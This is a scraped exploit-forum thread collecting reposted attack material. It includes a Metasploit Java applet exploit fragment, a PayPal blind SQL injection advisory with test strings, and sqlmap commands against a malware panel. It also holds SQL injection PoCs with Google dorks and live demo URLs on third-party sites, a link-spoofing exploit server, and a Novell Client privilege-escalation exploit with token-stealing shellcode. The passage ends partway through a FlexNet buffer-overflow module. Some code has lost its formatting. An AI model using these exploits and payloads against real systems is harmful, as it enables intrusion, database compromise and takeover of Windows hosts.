  path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2012-5076_2", "B.class")
  @loader_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }

  @exploit_class_name = rand_text_alpha("Exploit".length)
  @exploit_class.gsub!("Exploit", @exploit_class_name)
  super
	end

	def on_request_uri(cli, request)
  print_status("handling request for #{request.uri}")

  case request.uri
  when /\.jar$/i
  	jar = payload.encoded_jar
  	jar.add_file("#{@exploit_class_name}.class", @exploit_class)
  	jar.add_file("B.class", @loader_class)
  	metasploit_str = rand_text_alpha("metasploit".length)
  	payload_str = rand_text_alpha("payload".length)
  	jar.entries.each { |entry|
    entry.name.gsub!("metasploit", metasploit_str)
    entry.name.gsub!("Payload", payload_str)
    entry.data = entry.data.gsub("metasploit", metasploit_str)
    entry.data = entry.data.gsub("Payload", payload_str)
  	}
  	jar.build_manifest

  	send_response(cli, jar, { 'Content-Type' => "application/octet-stream" })
  when /\/$/
  	payload = regenerate_payload(cli)
  	if not payload
    print_error("Failed to generate the payload.")
    send_not_found(cli)
    return
  	end
  	send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' })
  else
  	send_redirect(cli, get_resource() + '/', '')
  end

	end

	def generate_html
  html  = %Q|<html><head><title>Loading, Please Wait...</title></head>|
  html += %Q|<body><center><p>Loading, Please Wait...</p></center>|
  html += %Q|<applet archive="#{rand_text_alpha(8)}.jar" code="#{@exploit_class_name}.class" width="1" height="1">|
  html += %Q|</applet></body></html>|
  return html
	end

end
Paypal.com Blind SQL Injection
ID: 67686ba3b4103b69df379dbf
Thread ID: 23813
Created: 2013-01-24T11:57:09+0000
Last Post: 2013-01-24T11:57:09+0000
Author: DarckSol
Prefix: Web
Replies: 0 Views: 2K

Title:

Paypal Bug Bounty #18 - Blind SQL Injection Vulnerability

Date:

2013-01-22

References:

http://www.vulnerability-lab.com/get_content.php?id=673

[http://news.softpedia.com/news/PayPal- Addr...ts-323053.shtml](http://news.softpedia.com/news/PayPal-Addresses- Blind-SQL-Injection-Vulnerability-After-Being-Notified-by- Experts-323053.shtml)

VL-ID:

673

Common Vulnerability Scoring System:

8.3

Introduction:

PayPal is a global e-commerce business allowing payments and money transfers to be made through the Internet. Online money
transfers serve as electronic alternatives to paying with traditional paper methods, such as checks and money orders. Originally,
a PayPal account could be funded with an electronic debit from a bank account or by a credit card at the payer s choice. But some
time in 2010 or early 2011, PayPal began to require a verified bank account after the account holder exceeded a predetermined
spending limit. After that point, PayPal will attempt to take funds for a purchase from funding sources according to a specified
funding hierarchy. If you set one of the funding sources as Primary, it will default to that, within that level of the hierarchy
(for example, if your credit card ending in 4567 is set as the Primary over 1234, it will still attempt to pay money out of your
PayPal balance, before it attempts to charge your credit card). The funding hierarchy is a balance in the PayPal account; a
PayPal credit account, PayPal Extras, PayPal SmartConnect, PayPal Extras Master Card or Bill Me Later (if selected as primary
funding source) (It can bypass the Balance); a verified bank account; other funding sources, such as non-PayPal credit cards.
The recipient of a PayPal transfer can either request a check from PayPal, establish their own PayPal deposit account or request
a transfer to their bank account.

PayPal is an acquirer, performing payment processing for online vendors, auction sites, and other commercial users, for which it
charges a fee. It may also charge a fee for receiving money, proportional to the amount received. The fees depend on the currency
used, the payment option used, the country of the sender, the country of the recipient, the amount sent and the recipient s account
type. In addition, eBay purchases made by credit card through PayPal may incur extra fees if the buyer and seller use different currencies.

On October 3, 2002, PayPal became a wholly owned subsidiary of eBay. Its corporate headquarters are in San Jose, California, United
States at eBay s North First Street satellite office campus. The company also has significant operations in Omaha, Nebraska, Scottsdale,
Arizona, and Austin, Texas, in the United States, Chennai, Dublin, Kleinmachnow (near Berlin) and Tel Aviv. As of July 2007, across
Europe, PayPal also operates as a Luxembourg-based bank.

On March 17, 2010, PayPal entered into an agreement with China UnionPay (CUP), China s bankcard association, to allow Chinese consumers
to use PayPal to shop online.PayPal is planning to expand its workforce in Asia to 2,000 by the end of the year 2010.
Between December 4ñ9, 2010, PayPal services were attacked in a series of denial-of-service attacks organized by Anonymous in retaliation
for PayPal s decision to freeze the account of WikiLeaks citing terms of use violations over the publication of leaked US diplomatic cables.

(Copy of the Homepage: www.paypal.com) [http://en.wikipedia.org/wiki/PayPal]

Abstract:

The Vulnerability Laboratory Research Team discovered a critical Web Vulnerability in the official Paypal ecommerce website application.

Report-Timeline:

2012-08-01: Researcher Notification & Coordination
2012-08-01: Vendor Notification
2012-08-07: Vendor Response/Feedback #1
2012-08-07: Vendor Response/Feedback #2
2012-12-04: Vendor Response/Feedback #3
2013-01-12: Vendor Fix/Patch
2013-01-22: Public Disclosure

Status:

Published

Affected Products:

PayPal Inc
Product: Core Application 2012 Q4

Exploitation-Technique:

Remote

Severity:

Critical

Details:

A blind SQL Injection vulnerability is detected in the official Paypal ecommerce website application.
The vulnerability allows remote attackers or local low privileged application user account to inject/execute
(blind) own sql commands on the affected application dbms. The vulnerability is located in the Confirm
Email module with the bound vulnerable id input field.

The validation of the confirm number input field is watching all the context since the first valid number matches.
The attacker uses a valid number and includes the statement after it to let both pass through the paypal application
filter. The result is the successful execution of the sql command when the module is processing to reload the page module.

Exploitation of the vulnerability requires a low privileged application user account to access the website area and can
processed without user interaction. Successful exploitation of the vulnerability results in web application or module
compromise via blind sql injection attack.

Vulnerable Service(s):
[ + ] Paypal Inc - Core Application (www.paypal.com)

Vulnerable Module(s):
[ + ] Confirm Email

Vulnerable Section(s):
[ + ] Confirm Number (Verification) - Input Field

Vulnerable Parameter(s):
[ + ] login_confirm_number_id - login_confirm_number

Proof of Concept:

The blind sql injection vulnerability can be exploited by remote attackers with low privileged application user account and
without required user interaction. For demonstration or reproduce ...

URL1: Request a Session with 2 different mails (Step1)
[https://www.paypal.com/de/ece/cn=0602148402...biliuty- lab.com](https://www.paypal.com/de/ece/cn=06021484023174514599&em=admin@vulnerabiliuty- lab.com)

https://www.paypal.com/de/ece/cn=0602148402...1x445@gmail.com

URL2: Injection into ID Confirm Field (Step2)
[https://www.paypal.com/de/cgi-bin/webscr?cm...assword- submit&](https://www.paypal.com/de/cgi-bin/webscr?cmd=_confirm-email- password-submit&)
dispatch=5885d80a13c0db1f8e263663d3faee8d7283e7f0184a5674430f290db9e9c846

1. Open the website of paypal and login as standard user with a restricted account
2. Switch to the webscr > Confirm Email module of the application
3. Request a login confirm id when processing to load a reset
4. Take the valid confirm number of the mail and insert it into the email confirm number verification module input fields
5. Switch to the last char of the valid confirm number in the input field and inject own sql commands as check to proof the validation

Test Strings:
-1+AND+IF(SUBSTRING(VERSION(),1,1)=$i,1,2)=1-1'
-1'+AND+IF(SUBSTRING(VERSION(),1,1)=$i,1,2)=1--1'
1+AND+IF(SUBSTRING(VERSION(),1,1)=$i,1,2)=1
1+AND+IF(SUBSTRING(VERSION(),1,1)=$i,1,2)=-1'

6. Normally the website with the generated ID confirm button is bound to the standard template.
7. Inject substrings with the id -1+sql-query to proof for blind injections in the input field
8. The bottom bar gets loaded as result for the successful executed sql query
8. Now, the remote attacker can manipulate the paypal core database with a valid confirm number + his own sql commands

Bug Type: Blind SQL INJECTION [POST] Injection Vulnerability
SESSION: DE - 22:50 -23:15 (paypal.com)
Browser: Mozilla Firefox 14.01

PoC:

Note: Do all requests ever with id to reproduce the issue. (-) is not possible as first char of the input request.

Example(Wrong): -1+[SQL-Injection]&06021484023183514599
Example(Right): 06021484023183514599-1+[SQL-Injection]--
Example(Right): 06021484023183514599-1+AND+IF(SUBSTRING(VERSION(),1,1)=$i,1,2)=1-1'-1'--

Test Mail(s):
[ + ] 01x221@gmail.com and admin@vulnerability-lab.com

Note:
After inject was successful 2 times because of my check, the paypal website opened a security issue report message box as exception-handling.
I included the details and information of my test and explained the issue and short time later it has been patched[.]

Solution:

2013-01-12: Vendor Fix/Patch

Risk:

The security risk of the blind sql injection web vulnerability in the paypal core application is estimated as critical.

Credits:

Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@vulnerability-lab.com)

Disclaimer:

The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties,
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation
may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases
or trade with fraud/stolen material.

Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.vulnerability- lab.com/register
Contact: admin@vulnerability-lab.com - support@vulnerability-lab.com - research@vulnerability-lab.com
Section: video.vulnerability-lab.com - forum.vulnerability-lab.com - news.vulnerability-lab.com
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability- lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory.
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, sourcecode, videos and
other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed),
modify, use or edit our material contact (admin@vulnerability-lab.com or support@vulnerability-lab.com) to get a permission.

Copyright © 2012 | Vulnerability Laboratory

--
VULNERABILITY RESEARCH LABORATORY
LABORATORY RESEARCH TEAM
CONTACT: research@vulnerability-lab.com

Click to expand...

Smoke Loader SQL Injection Vulnerability
ID: 67686ba3b4103b69df379dce
Thread ID: 23677
Created: 2012-12-24T08:36:36+0000
Last Post: 2012-12-25T09:18:05+0000
Author: DarckSol
Prefix: Web
Replies: 6 Views: 2K

Like other http-based exploit kits, I've discovered that the smoke loader malware downloader has a sql injection in its C&C administration panel that can be used to revel the administrator's password.

sqlmap can identify the vulnerable parameter with the string:

root@localhoost:/opt/pentest/database/sqlmap# ./sqlmap.py -u evilserver.com/directory/guest.php
--auth-cred=guest:guest --auth-type=basic --dbms mysql --level 3
--risk 3

sqlmap identified the following injection points with a total of 278
HTTP(s) requests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: MySQL boolean-based blind - WHERE or HAVING clause (RLIKE)
Payload: id=1 LIMIT 0,1 UNION ALL SELECT

NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x3a78746d3a,0x5164707853564955484a,0x3a6a67613a),NULL,NULL,NULL
RLIKE IF(2984=2984,0x4d7953514c,0x28)

Type: UNION query
Title: MySQL UNION query (NULL) - 13 columns
Payload: id=1 LIMIT 0,1 UNION ALL SELECT

NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x3a78746d3a,0x5164707853564955484a,0x3a6a67613a),NULL,NULL,NULL
LIMIT 0,1 UNION ALL SELECT

NULL,NULL,NULL,NULL,NULL,CONCAT(0x3a71616c3a,0x467173496b71686b617a,0x3a7269703a),NULL,NULL,NULL,NULL,NULL#

Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: id=1 LIMIT 0,1 UNION ALL SELECT

NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x3a78746d3a,0x5164707853564955484a,0x3a6a67613a),NULL,NULL,NULL
AND SLEEP(5)

Then:

root@localhoost:/opt/pentest/database/sqlmap# ./sqlmap.py -u evilserver.com/directory/guest.php
--auth-cred=guest:guest --auth-type=basic --dbms mysql --level 3 --risk
3 --file-read=[smoke root directory--can be found by sql errors on guest panel
by replacing the above parameters with invalid data]/admin/inc/cfg.php

root@localhoost:/opt/pentest/database/sqlmap# cat output/localhost/files/_var_www_smoke_admin_inc_cfg.php

"Windows XP", 1 => "Windows 2003", 2 => "Windows Vista", 3 => "Windows 7", 4 => "Other" ); ?>

1337day.com [2012-12-24]

Click to expand...

phpBB v3.0.10 SQL Injection Vulnerability
ID: 67686ba3b4103b69df379dd5
Thread ID: 23008
Created: 2012-07-31T09:15:55+0000
Last Post: 2012-10-15T09:53:16+0000
Author: DarckSol
Prefix: Web
Replies: 1 Views: 2K

------------------------------------------------------------------
Name : phpBB3 SQL Injection
------------------------------------------------------------------
Date : 27.07.2012
------------------------------------------------------------------
Site : www.phpbb.com
------------------------------------------------------------------
Version : 3.0.10
------------------------------------------------------------------

  1. What is it?
    This is very nice forum board. You should try it!
    ------------------------------------------------------------------
  2. Type of bug?
    SQL Injection (or SQL-info-Leak if You want).
    ------------------------------------------------------------------
  3. Where is the bug?
    Vulnerable parameter seems to be 'style' because if we set up this parameter
    to 'bigger number' (for example: 111111111) we will get an error, with full SQL
    statement.

*updated - dateformat is the second vulnerable parameter!
*updated - post_st is the 3rd vulnerable parameter!
*updated - another one: topic_st

  1. PoC traffic from Burp:
    4.1) Request :

---
POST /kuba/phpBB/phpBB3/ucp.php?i=prefs&mode=personal HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:14.0) Gecko/20100101 Firefox/14.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Referer: http://localhost/kuba/phpBB/phpBB3/ucp.php?i=174
Cookie: style_cookie=null; phpbb3_t4h3b_u=2; phpbb3_t4h3b_k=; phpbb3_t4h3b_sid=
Content-Type: application/x-www-form-urlencoded
Content-Length: 258
Connection: close

viewemail=1
&massemail=1
&allowpm=1
&SPOILERonline=0
&notifypm=1
&popuppm=0
&lang=en
&style=%2b1111111111
&tz=0
&dst=0
&dateoptions=D+M+d%2C+Y+g%3Ai+a
&dateformat=D+M+d%2C+Y+g%3Ai+a
&submit=Submit
&creation_time=1343370877
&form_token=576...

---

4.2) Response:

---
HTTP/1.1 503 Service Unavailable
Date: Fri, 27 Jul 2012 06:39:06 GMT
Server: Apache/2.2.22 (Ubuntu)
X-Powered-By: PHP/5.3.10-1ubuntu3.2
Vary: Accept-Encoding
Connection: close
Content-Type: text/html
Content-Length: 2889

Return to the index page
class="panel">

General Error

SQL ERROR [ mysqli ]

Out of range value for column 'user_style' at row 1 [1264]

SQL

UPDATE phpbb_users
SET user_allow_pm = 1, user_allow_viewemail = 1, user_allow_massemail = 1, user_allow_viewonline = 1,
user_notify_type = '0', user_notify_pm = 1, user_options = '230271', user_dst = 0,
user_dateformat = 'D M d, Y g:i a', user_lang = 'en', user_timezone = 0, user_style = 1111111111
WHERE user_id = 2

BACKTRACE

FILE: [ROOT]/includes/db/mysqli.php

LINE: 182

CALL: dbal->sql_error()

FILE: [ROOT]/includes/ucp/ucp_prefs.php

LINE: 100

CALL: dbal_mysqli->sql_query()

FILE: [ROOT]/includes/functions_module.php

LINE: 507

CALL: ucp_prefs->main()

FILE: [ROOT]/ucp.php

LINE: 333

CALL: p_master->load_active()

Please notify the board administrator or webmaster: (...)

---

4.2 Other response (this time from post_st parameter):
---

General Error

SQL ERROR [ mysqli ]

Incorrect integer value: 'javascript:alert(123123);/' for column 'user_post_show_days' at row 1 [1366]

An SQL error occurred while fetching this page.
Please contact the <a href="(...)
---

  1. More?

- Ethical hacking for Your company:
http://hauntit.blogspot.com

- Burp Proxy:
http://www.portswigger.org

- phBB3 Download:
http://www.phpbb.com

1337day.com [2012-07-30]

Click to expand...

Inertia Technologies - SQL Injection Vulnerability
ID: 67686ba3b4103b69df379dd8
Thread ID: 22884
Created: 2012-06-04T21:02:39+0000
Last Post: 2012-06-05T12:35:57+0000
Author: DarckSol
Prefix: Web
Replies: 3 Views: 2K

==========================================================================
<<<:>>> Team Inertia Technologies - SQL Injection Vulnerability <<:>>>

Title: Team Inertia Technologies - SQL Injection Vulnerability
Author : D0m12
Date: 04/06/12
Google Dork--> intext:"Web Design by Team Inertia Technologies" inurl:.php?id=
Vendor Link: http://www.teaminertia.com/
Tested On: Win 7
Contact : d0m1265@yahoo.com
[ + ]Demos

http://fairwayshipping.co.in/certification.php?id=3'

http://www.pensavenue.com/product_disp.php?id=146'

http://www.digitalgoa.com/ca_disp.php?id=1822'
LOTs More on Google Guys!!!!!
Have a nice day:)
#########################################################################
Greetz To :
All My Friends From ABH & to All those who know me:)
#########################################################################

Click to expand...

Источник:http://1337day.com/

Enterprise Resource planning SQL Injection
ID: 67686ba3b4103b69df379dda
Thread ID: 22882
Created: 2012-06-04T21:01:01+0000
Last Post: 2012-06-04T21:01:01+0000
Author: DarckSol
Prefix: Web
Replies: 0 Views: 2K

Exploit Author: Shahram Darvishvand [karaji_kt21]

<darvishvand.shahram[at]gmail[dot]com>

Exploit Title: [erp (Enterprise Resource plannin) SQL Injection

Vulnerability ]

Vendor : sida university system

Date: [15/May/2012]

Google Dork: "نرم افزار جامع erp شامل قوانین کپی رایت می باشد و نوع نسخه

بتا می باشد"

Version: [version 1389/09/17]

Tested on: [ASHX .. Application powered by Oracle DBMS]

============================================================
This Vulnerability Is On version 1389/09/17
--------------------------------------------
Exploit : http://[IP Or Domain]/Portal/WUC/daily.ashx?title=

Example : http://[IP Or Domain]/Portal/WUC/daily.ashx?title=

'or%201=utl_inaddr.get_host_address((select%20banner%20from%20v$version%20where%20rownum=1))--

Response :
Oracle Database 11g Enterprise Edition Release 11.1.0.7.0 - 64bit
-------------------------------------------------------
[ + ] Greetz : F.Saveh , Behrooz_Ice

Click to expand...

Источник:http://1337day.com/

Universal Browser Link Spoofing
ID: 67686ba3b4103b69df379ddb
Thread ID: 22873
Created: 2012-05-30T14:27:37+0000
Last Post: 2012-05-30T14:27:37+0000
Author: DarckSol
Prefix: Remote
Replies: 0 Views: 2K

#!/usr/bin/env python

'''
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0 _ __ __ __ 1
1 /' \ __ /'\ /\ \\__ /'__\ 0
0 /\, \ ___ /\/\_\ \ \ \ \ ,/\ /\ \ _ ___ 1
1 /
/\ \ /' _ \ \/\ \/_/_\\_<_ /'___\ \ \/\ \ \ \ \/\\'
\ 0
0 \ \ /\ /\ \ \ \ /\ \ \ /\ \
/\ \ \\ \ \\ \ \ / 1
1 \ \\ \\ \\\ \ \ \/\ \\\ \
\\ \/\ \\ 0
0 /
//
//
/\ \\ /
/ // // // // 1
1 \ \
/ >> Exploit database separated by exploit 0
0 /
/ type (local, remote, DoS, etc.) 1
1 1
0 [ + ] Site : 1337day.com 0
1 [ + ] Support e-mail : submit[at]1337day.com 1
0 0
1 ######################################### 1
0 I'm S4(uR4 member from r00tw0rm team 1
1 ######################################### 0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1
'''

Name : Universal Browser Link Spoofing

Date : may, 30 2012

Author : S4(uR4

Platform : all

Type : remote exploit

Web : www.r00tw0rm.com

Email : satsura@r00tw0rm.com

Credit and special thanx : iamjuza

Tested on : Mozilla Firefox 12, Google Chrome 19, Internet Explorer 9.0,

Opera 11.62, Safari 5.1.2

Special thanks to : r0073r, r4dc0re, Sid3^effects, L0rd CrusAd3r, KedAns-

Dz, Angel Injection, gunslinger, JF, CrosS (1337day.com)

Xenu, Versus71, alsa7r, mich4th3c0wb0y, FInnH@X, th3breacher, s3rver.exe

(r00tw0rm.com)

import sys
import socket

from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler

class RequestHandler(BaseHTTPRequestHandler):
def get_exploit(self):
exploit = '''

Remote Browser Link Spoofing Exploit(Webkit, Gecko, Presto, IE)

Spoofing Exploit (for all browsers engine : Webkit, Gecko, Presto, IE)

\------------------------------------------------
Method this.href=" : Click me!

Method location.reload='' : Click me!

Method location.replace(''): Click me!

Methon location.assign('') : Click me!

\------------------------------------------------

Method window.location.assign('') : Click me!

Method window.location.replace('') : Click me!

Method window.location.href='' : Click me!

\------------------------------------------------
''' return exploit

def log_request(self, *args, **kwargs):
pass

def do_GET(self):
try:
if self.path == '/':
print
print '[ - ] Incoming connection from %s' % self.client_address[0]
self.send_response(200)
self.send_header('Content-Type', 'text/html')
self.end_headers()
print '[ + ] Sending exploit to %s ...' % self.client_address[0]
self.wfile.write(self.get_exploit())
print '[ + ] Exploit sent to %s' % self.client_address[0]
except:
print '[ - ] Error : an error has occured while serving the HTTP request'
exit_program()

def exit_program():
print '[ + ] Exiting ...'
sys.exit(0)

def main():
if len(sys.argv) != 2:
print 'Usage: %s [any port between 0 and 65535]' % sys.argv[0]
sys.exit(0)
try:
port = int(sys.argv[1])
if port < 0 or port > 65535:
raise ValueError
try:
serv = HTTPServer(('', port), RequestHandler)
ip = socket.gethostbyname(socket.gethostname())
print '[ + ] Server is running at http://%s:%d/' % (ip, port)
try:
serv.serve_forever()
except:
exit_program()
except socket.error:
print '[ - ] Error : a socket error has occurred'
exit_program()
except ValueError:
print '[ - ] Error : an invalid port number was given'
exit_program()

if name == 'main':
main()

Click to expand...

Источник:http://1337day.com/exploits/18386

Novell Client 4.91
ID: 67686ba3b4103b69df379ddc
Thread ID: 22843
Created: 2012-05-23T08:20:29+0000
Last Post: 2012-05-23T08:20:29+0000
Author: DarckSol
Prefix: Local
Replies: 0 Views: 2K

**Novell Client 4.91 SP3/4 Privilege escalation exploit

Download link:

http://download.novell.com/Download?buildid=SyZ1G2ti7wU~**

SecurityFocus: http://www.securityfocus.com/bid/27209/info

CVE: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5762

Patch: http://download.novell.com/Download?buildid=4FmI89wOmg4~

Author: sickness@offensive-security.com

Version Tested: Novell Client 4.91 SP4

Targets: Exploit works on all service packs of Win2K3 and WinXP (except

Windows XP SP1)

Thanks:

- g0tmi1k for helping me test out the exploit on as many versions of

Windows as possible.

- ryujin for the help while developing the exploit.

from ctypes import *
import sys,struct,os
from optparse import OptionParser

kernel32 = windll.kernel32
ntdll = windll.ntdll
Psapi = windll.Psapi

def GetBase(drvname=None):
EVIL_ARRAY = 1024
myarray = c_ulong * EVIL_ARRAY
lpImageBase = myarray()
cb = c_int(1024)
lpcbNeeded = c_long()
drivername_size = c_long()
drivername_size.value = 48
Psapi.EnumDeviceDrivers(byref(lpImageBase), cb, byref(lpcbNeeded))
for baseaddr in lpImageBase:
drivername = c_char_p("\x00"*drivername_size.value)
if baseaddr:
Psapi.GetDeviceDriverBaseNameA(baseaddr, drivername,
drivername_size.value)
if drvname:
if drivername.value.lower() == drvname:
print "[>] Retrieving %s information." % drvname
print "[>] %s base address: %s" % (drvname, hex(baseaddr))
return baseaddr
else:
if drivername.value.lower().find("krnl") !=-1:
print "[>] Retrieving Kernel information."
print "[>] Kernel version: ", drivername.value
print "[>] Kernel base address: %s" % hex(baseaddr)
return (baseaddr, drivername.value)
return None

if name == 'main':

usage = "%prog -o "
parser = OptionParser(usage=usage)
parser.add_option("-o", type="string",
action="store", dest="target_os",
help="Available target operating systems: XP, 2K3")
(options, args) = parser.parse_args()
OS = options.target_os
if not OS or OS.upper() not in ['XP','2K3']:
parser.print_help()
sys.exit()
OS = OS.upper()

GENERIC_READ = 0x80000000
GENERIC_WRITE = 0x40000000
OPEN_EXISTING = 0x3
DEVICE = '\\\\.\\nicm'

device_handler = kernel32.CreateFileA(DEVICE, GENERIC_READ|GENERIC_WRITE, 0, None, OPEN_EXISTING, 0, None)

(krnlbase, kernelver) = GetBase()
hKernel = kernel32.LoadLibraryExA(kernelver, 0, 1)
HalDispatchTable = kernel32.GetProcAddress(hKernel, "HalDispatchTable")
HalDispatchTable -= hKernel
HalDispatchTable += krnlbase
HalBase = GetBase("hal.dll")
print "[>] HalDispatchTable address:", hex(HalDispatchTable)
HalDispatchTable0x4 = HalDispatchTable + 0x4
HalDispatchTable0x8 = HalDispatchTable0x4 + 0x4
HalDispatchTable_0x14 = HalDispatchTable0x4 - 0x10

if OS == "2K3":
HaliQuerySystemInformation = HalBase + 0x1fa1e # Offset for 2003
HalpSetSystemInformation = HalBase + 0x21c60 # Offset for 2003

else:
HaliQuerySystemInformation = HalBase + 0x16bba # Offset for XP
HalpSetSystemInformation = HalBase + 0x19436# Offset for XP

print "[>] HaliQuerySystemInformation address:", hex(HaliQuerySystemInformation)
print "[>] HalpSetSystemInformation address:", hex(HalpSetSystemInformation)

EVIL_IOCTL = 0x00143B6B # Vulnerable IOCTL
retn = c_ulong()
inut_buffer = HalDispatchTable0x4 - 0x10 + 0x3 # Make the pwnsauce overwrite
inut_size = 0x0
output_buffer = 0x41414141 # Junk
output_size = 0x0

Get offsets

if OS == "2K3":
_KPROCESS = "\x38" # Offset for 2003
_TOKEN = "\xd8" # Offset for 2003
_UPID = "\x94" # Offset for 2003
_APLINKS = "\x98" # Offset for 2003

else:
_KPROCESS = "\x44" # Offset for XP
_TOKEN = "\xc8" # Offset for XP
_UPID = "\x84" # Offset for XP
_APLINKS = "\x88" # Offset for XP

Restore the pointer

pointer_restore = "\x31\xc0" + \
"\xb8" + struct.pack("L", HalpSetSystemInformation) + \
"\xa3" + struct.pack("L", HalDispatchTable0x8) + \
"\xb8" + struct.pack("L", HaliQuerySystemInformation) + \
"\xa3" + struct.pack("L", HalDispatchTable0x4)

Make the evil token stealing

steal_token = "\x52" +\
"\x53" +\
"\x33\xc0" +\
"\x64\x8b\x80\x24\x01\x00\x00" +\
"\x8b\x40" + _KPROCESS +\
"\x8b\xc8" +\
"\x8b\x98" + _TOKEN + "\x00\x00\x00" +\
"\x89\x1d\x00\x09\x02\x00" +\
"\x8b\x80" + _APLINKS + "\x00\x00\x00" +\
"\x81\xe8" + _APLINKS + "\x00\x00\x00" +\
"\x81\xb8" + _UPID + "\x00\x00\x00\x04\x00\x00\x00" +\
"\x75\xe8" +\
"\x8b\x90" + _TOKEN + "\x00\x00\x00" +\
"\x8b\xc1" +\
"\x89\x90" + _TOKEN + "\x00\x00\x00" +\
"\x5b" +\
"\x5a" +\
"\xc2\x10"

Build the shellcode

sc = "\x90" * 100
sc+= pointer_restore + steal_token
sc+= "\x90" * 100

if OS == "2K3":
baseadd = c_int(0x02a6ba10)

else:
baseadd = c_int(0x026e7bb0)

MEMRES = (0x1000 | 0x2000)
PAGEEXE = 0x00000040
Zero_Bits = c_int(0)
RegionSize = c_int(0x1000)
write = c_int(0)

dwStatus = ntdll.NtAllocateVirtualMemory(-1, byref(baseadd), 0x0, byref(RegionSize), MEMRES, PAGEEXE)

if OS == "2K3":
kernel32.WriteProcessMemory(-1, 0x02a6ba10, sc, 0x1000, byref(write))

else:
kernel32.WriteProcessMemory(-1, 0x026e7bb0, sc, 0x1000, byref(write))

if device_handler:
print "[>] Sending IOCTL to the driver."
dev_io = kernel32.DeviceIoControl(device_handler, EVIL_IOCTL, inut_buffer, inut_size, output_buffer, output_size, byref(retn), None)

evil_in = c_ulong()
evil_out = c_ulong()
evil_in = 0x1337
hola = ntdll.NtQueryIntervalProfile(evil_in, byref(evil_out))
print "[>] Launching shell as SYSTEM."
os.system("cmd.exe /K cd c:\\windows\\system32")

Click to expand...

Источник:http://1337day.com/exploits/18327

FlexNet License Server
ID: 67686ba3b4103b69df379ddd
Thread ID: 22842
Created: 2012-05-23T08:18:51+0000
Last Post: 2012-05-23T08:18:51+0000
Author: DarckSol
Prefix: Remote
Replies: 0 Views: 2K

This file is part of the Metasploit Framework and may be subject to

redistribution and commercial restrictions. Please see the Metasploit

web site for more information on licensing and terms of use.

http://metasploit.com/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::tcp
include Msf::Exploit::Remote::Seh

def initialize(info = {})
super(update_info(info,
'Name' => 'FlexNet License Server Manager lmgrd Buffer Overflow',
'Description' => %q{
This module exploits a vulnerability in the FlexNet
License Server Manager.

The vulnerability is due to the insecure usage of memcpy
in the lmgrd service when handling network packets, which
results in a stack buffer overflow.

In order to improve reliability, this module will make lots of
connections to lmgrd during each attempt to maximize its success.
},
'Author' =>
[
'Luigi Auriemma', # Vulnerability Discovery and PoC
'Alexander Gavrun', # Vulnerability Discovery
'juan vazquez', # Metasploit module
'sinn3r' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'OSVDB', '81899' ],
[ 'BID', '52718' ],
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-052/' ],
[ 'URL', 'http://aluigi.altervista.org/adv/lmgrd_1-adv.txt' ]
],
'Privileged' => true,
'DefaultOptions' =>
{
'EXITFUNC' => 'process'
},
'Payload' =>
{
'Space' => 4000
},
'Platform' => 'win',
'Targets' =>
[
[ 'Debug', {} ],
[ 'Autodesk Licensing Server Tools 11.5 / lmgrd 11.5.0.0 / Windows XP SP3',
{
'Offset' => 10476,
'ShellcodeOffset' => 5504,
'Ret' => 0x0047d01f # ppr from lmgrd.exe
}
],
[ 'Alias License Tools 10.8.0.7 / lmgrd 10.8.0.7 / Windows XP SP3',
{
'Offset' => 7324,
'ShellcodeOffset' => 2332,
'Ret' => 0x004eda91 # ppr from lmgrd.exe
}
],
[ 'Alias License Tools 10.8 / lmgrd 10.8.0.2 / Windows XP SP3',
{
'Offset' => 7320,
'ShellcodeOffset' => 2328,
'Ret' => 0x004eb2e1 # ppr from lmgrd.exe
}
],
],
'DefaultTarget' => 1,
'DisclosureDate' => 'Mar 23 2012'))

register_options(
[
Opt::RPORT(27000),
OptInt.new('Attempts', [ true, 'Number of attempts for the exploit phase', 20 ]),
OptInt.new('Wait', [ true, 'Delay between brute force attempts', 2 ]),
OptInt.new('Jam', [ true, 'Number of requests to jam the server', 100 ])
], self.class)
end

def header_checksum(packet)
packet_bytes = packet.unpack("C*")
checksum = packet_bytes[0]
i = 2
while i < 0x14
checksum = checksum + packet_bytes _
i = i + 1
